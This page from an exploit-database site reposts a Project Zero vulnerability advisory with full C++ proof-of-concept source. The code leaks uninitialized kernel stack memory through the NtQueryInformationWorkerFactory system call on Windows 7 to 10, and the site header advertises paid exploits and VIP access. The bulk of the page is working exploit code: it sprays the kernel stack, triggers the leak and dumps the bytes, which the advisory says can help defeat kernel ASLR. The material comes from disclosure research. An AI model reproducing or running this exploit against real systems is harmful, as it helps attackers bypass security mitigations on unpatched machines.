0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Microsoft Windows - nt!NtQueryInformationWorkerFactory (WorkerFactoryBasicInformation) Kernel Stack
Author
Risk
[
Security Risk Medium
]0day-ID
Category
Date add
CVE
Platform
/* Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1214&desc=2 We have discovered that the nt!NtQueryInformationWorkerFactory system call called with the WorkerFactoryBasicInformation (7) information class discloses portions of uninitialized kernel stack memory to user-mode clients, on Windows 7 to Windows 10. The specific layout of the output structure corresponding to the class is unknown to us; however, we have determined that on 32-bit Windows platforms, an output size of 96 bytes is accepted. Within that memory area, 5 uninitialized bytes from the kernel stack can be leaked to the client application. The attached proof-of-concept program demonstrates the disclosure by spraying the kernel stack with a large number of 0x41 ('A') marker bytes, and then calling the affected system call with infoclass=WorkerFactoryBasicInformation and the allowed output size. An example output is as follows: --- cut --- 00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000010: 00 44 5f 9a fe ff ff ff 00 00 00 01 00 00 00 41 .D_............A 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 41 41 41 41 ............AAAA 00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 14 0a 00 00 00 00 01 00 00 10 00 00 00 00 00 00 ................ --- cut --- It is clearly visible here that among all data copied from ring-0 to ring-3, 1 byte at offset 0x1f and 4 bytes at offset 0x3c remained uninitialized. Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space. */ #include <Windows.h> #include <winternl.h> #include <cstdio> extern "C" { ULONG WINAPI NtMapUserPhysicalPages( PVOID BaseAddress, ULONG NumberOfPages, PULONG PageFrameNumbers ); NTSTATUS WINAPI NtCreateWorkerFactory( _Out_ PHANDLE WorkerFactoryHandleReturn, _In_ ACCESS_MASK DesiredAccess, _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, _In_ HANDLE CompletionPortHandle, _In_ HANDLE WorkerProcessHandle, _In_ PVOID StartRoutine, _In_opt_ PVOID StartParameter, _In_opt_ ULONG MaxThreadCount, _In_opt_ SIZE_T StackReserve, _In_opt_ SIZE_T StackCommit ); NTSTATUS WINAPI NtQueryInformationWorkerFactory( _In_ HANDLE WorkerFactoryHandle, _In_ ULONG WorkerFactoryInformationClass, _Out_writes_bytes_(WorkerFactoryInformationLength) PVOID WorkerFactoryInformation, _In_ ULONG WorkerFactoryInformationLength, _Out_opt_ PULONG ReturnLength ); } // extern "C" VOID PrintHex(PBYTE Data, ULONG dwBytes) { for (ULONG i = 0; i < dwBytes; i += 16) { printf("%.8x: ", i); for (ULONG j = 0; j < 16; j++) { if (i + j < dwBytes) { printf("%.2x ", Data[i + j]); } else { printf("?? "); } } for (ULONG j = 0; j < 16; j++) { if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) { printf("%c", Data[i + j]); } else { printf("."); } } printf("\n"); } } VOID MyMemset(PBYTE ptr, BYTE byte, ULONG size) { for (ULONG i = 0; i < size; i++) { ptr[i] = byte; } } VOID SprayKernelStack() { // Buffer allocated in static program memory, hence doesn't touch the local stack. static BYTE buffer[4096]; // Fill the buffer with 'A's and spray the kernel stack. MyMemset(buffer, 'A', sizeof(buffer)); NtMapUserPhysicalPages(buffer, sizeof(buffer) / sizeof(DWORD), (PULONG)buffer); // Make sure that we're really not touching any user-mode stack by overwriting the buffer with 'B's. MyMemset(buffer, 'B', sizeof(buffer)); } int main() { // Create a completion port. HANDLE hCompletionPort = CreateIoCompletionPort(INVALID_HANDLE_VALUE, NULL, 0, 0); if (hCompletionPort == NULL) { printf("CreateIoCompletionPort failed, %d\n", GetLastError()); return 1; } // Create the worker factory object to query. HANDLE hWorkerFactory = NULL; NTSTATUS st = NtCreateWorkerFactory(&hWorkerFactory, GENERIC_ALL, NULL, hCompletionPort, GetCurrentProcess(), NULL, NULL, 0, 0, 0); if (!NT_SUCCESS(st)) { printf("NtCreateWorkerFactory failed, %x\n", st); CloseHandle(hCompletionPort); return 1; } // Spray the kernel stack to get visible results. SprayKernelStack(); // Trigger the vulnerability and print out the output structure. BYTE output[96] = { /* zero padding */ }; DWORD ReturnLength; #define WorkerFactoryBasicInformation 7 st = NtQueryInformationWorkerFactory(hWorkerFactory, WorkerFactoryBasicInformation, output, sizeof(output), &ReturnLength); if (!NT_SUCCESS(st)) { printf("NtQueryInformationWorkerFactory failed, %x\n", st); CloseHandle(hWorkerFactory); CloseHandle(hCompletionPort); return 1; } PrintHex(output, ReturnLength); // Free resources. CloseHandle(hWorkerFactory); CloseHandle(hCompletionPort); return 0; } # 0day.today [2024-12-25] #